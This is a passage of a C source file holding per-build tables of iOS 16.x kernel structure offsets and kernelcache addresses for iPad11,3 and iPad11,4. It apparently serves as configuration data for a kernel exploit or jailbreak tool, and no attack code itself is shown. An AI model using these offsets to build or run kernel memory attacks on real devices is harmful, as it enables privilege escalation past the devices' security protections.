.kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2f1288,\n          .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n          .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f62b8,\n          .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n          .kernelcache__ptov_table = 0xfffffff0078ab160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n          .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n      },\n\n      // iOS 16.6b1\n          {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPad11,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a23dab0,\n          .kernelcache__gPhysBase = 0xfffffff0078dc288,\n          .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078da440,\n          .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n          .kernelcache__ptov_table = 0xfffffff00788f9a0,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n          .kernelcache__vm_pages = 0xfffffff00788c0f8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n          .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n      },\n\n      // iPad Air 3 //\n  // iOS 16.2\n      {\n          .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20C65\",\n          .device_id = \"iPad11,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a225178,\n          .kernelcache__gPhysBase = 0xfffffff00781bc60,\n          .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819e40,\n          .kernelcache__perfmon_devices = 0xfffffff00a260380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n          .kernelcache__ptov_table = 0xfffffff0077cf248,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n          .kernelcache__vm_pages = 0xfffffff0077cc080,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n      },\n\n      // iOS 16.3\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D47\",\n          .device_id = \"iPad11,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.3.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D67\",\n          .device_id = \"iPad11,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.4\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E246\",\n          .device_id = \"iPad11,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          .kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.4.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E252\",\n          .device_id = \"iPad11,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          .kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.5\n          {\n          .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20F66\",\n          .device_id = \"iPad11,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2f1288,\n          .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n          .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n          